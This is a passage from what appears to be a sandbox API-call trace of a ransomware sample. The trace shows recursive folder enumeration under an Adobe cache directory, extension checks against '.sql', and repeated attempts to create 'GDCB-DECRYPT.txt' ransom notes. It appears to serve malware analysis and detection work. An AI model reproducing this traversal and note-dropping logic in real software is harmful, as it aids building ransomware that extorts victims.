| out: lpFindFileData=0x285d1d0) returned 1 [0170.315] lstrcmpW (lpString1="Cookie", lpString2=".") returned 1 [0170.315] lstrcmpW (lpString1="Cookie", lpString2="..") returned 1 [0170.315] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cookie" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie" [0170.315] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned 220 [0170.315] FindNextFileW (in: hFindFile=0x5dd650, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.315] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.315] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.315] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt" [0170.315] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 230 [0170.315] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.315] FindNextFileW (in: hFindFile=0x5dd650, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 0 [0170.315] FindClose (in: hFindFile=0x5dd650 | out: hFindFile=0x5dd650) returned 1 [0170.315] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt") returned 231 [0170.315] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.317] GetLastError () returned 0x50 [0170.317] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned 214 [0170.317] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*" [0170.317] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x285d440 | out: lpFindFileData=0x285d440) returned 0x5dd350 [0170.317] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache" [0170.317] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\" [0170.317] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.317] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.317] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.317] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.317] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned 220 [0170.317] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*" [0170.317] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 0x5dd5d0 [0170.318] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.318] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 1 [0170.318] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.318] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.318] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 1 [0170.318] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.318] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.318] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache" [0170.318] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned 225 [0170.318] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 1 [0170.318] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.318] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.318] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt" [0170.318] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 236 [0170.318] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.318] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 1 [0170.318] lstrcmpW (lpString1="Visited Links", lpString2=".") returned 1 [0170.318] lstrcmpW (lpString1="Visited Links", lpString2="..") returned 1 [0170.318] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Visited Links" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links" [0170.318] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 233 [0170.318] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 0 [0170.318] FindClose (in: hFindFile=0x5dd5d0 | out: hFindFile=0x5dd5d0) returned 1 [0170.318] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\\\GDCB-DECRYPT.txt") returned 237 [0170.318] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.320] GetLastError () returned 0x50 [0170.320] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned 220 [0170.320] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*" [0170.320] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x285d1b8 | out: lpFindFileData=0x285d1b8) returned 0x5dd450 [0170.320] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache" [0170.320] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\" [0170.320] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.320] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.320] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.321] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.321] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned 226 [0170.321] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*" [0170.321] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*", lpFindFileData=0x285ccc0 | out: lpFindFileData=0x285ccc0) returned 0x5dcf90 [0170.321] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.321] FindNextFileW (in: hFindFile=0x5dcf90, lpFindFileData=0x285ccc0 | out: lpFindFileData=0x285ccc0) returned 1 [0170.321] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.321] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.321] FindNextFileW (in: hFindFile=0x5dcf90, lpFindFileData=0x285ccc0 | out: lpFindFileData=0x285ccc0) returned 1 [0170.321] lstrcmpW (lpString1="data_0", lpString2=".") returned 1 [0170.321] lstrcmpW (lpString1="data_0", lpString2="..") returned 1 [0170.321] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_0" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0" [0170.321] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 232 [0170.321] FindNextFileW (in: hFindFile=0x5dcf90, lpFindFileData=0x285ccc0 | out: lpFindFileData=0x285ccc0) returned 1 [0170.321] lstrcmpW (lpString1="data_1", lpString2=".") returned 1 [0170.321] lstrcmpW (lpString1="data_1", lpString2="..") returned 1 [0170.321] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_1" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1" [0170.321] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 232 [0170.321] FindNextFileW (in: hFindFile=0x5dcf90, lpFindFileData=0x285ccc0 | out: lpFindFileData=0x285ccc0) returned 1 [0170.321] lstrcmpW (lpString1="data_2", lpString2=".") returned 1 [0170.321] lstrcmpW (lpString1="data_2", lpString2="..") returned 1 [0170.321] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_2" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2" [0170.321] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 232 [0170.321] FindNextFileW (in: hFindFile=0x5dcf90, lpFindFileData=0x285ccc0 | out: lpFindFileData=0x285ccc0) returned 1 [0170.321] lstrcmpW (lpString1="data_3", lpString2=".") returned 1 [0170.321] lstrcmpW (lpString1="data_3", lpString2="..") returned 1 [0170.321] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_3" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3" [0170.321] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 232 [0170.321] FindNextFileW (in: hFindFile=0x5dcf90, lpFindFileData=0x285ccc0 | out: lpFindFileData=0x285ccc0) returned 1 [0170.321] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.321] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.321] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt" [0170.321] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 242 [0170.321] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.321] FindNextFileW (in: hFindFile=0x5dcf90, lpFindFileData=0x285ccc0 | out: lpFindFileData=0x285ccc0) returned 1 [0170.321] lstrcmpW (lpString1="index", lpString2=".") returned 1 [0170.321] lstrcmpW (lpString1="index", lpString2="..") returned 1 [0170.321] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="index" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index" [0170.322] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 231 [0170.322] FindNextFileW (in: hFindFile=0x5dcf90, lpFindFileData=0x285ccc0 | out: lpFindFileData=0x285ccc0) returned 0 [0170.322] FindClose (in: hFindFile=0x5dcf90 | out: hFindFile=0x5dcf90) returned 1 [0170.322] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\\\GDCB-DECRYPT.txt") returned 243 [0170.322] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application 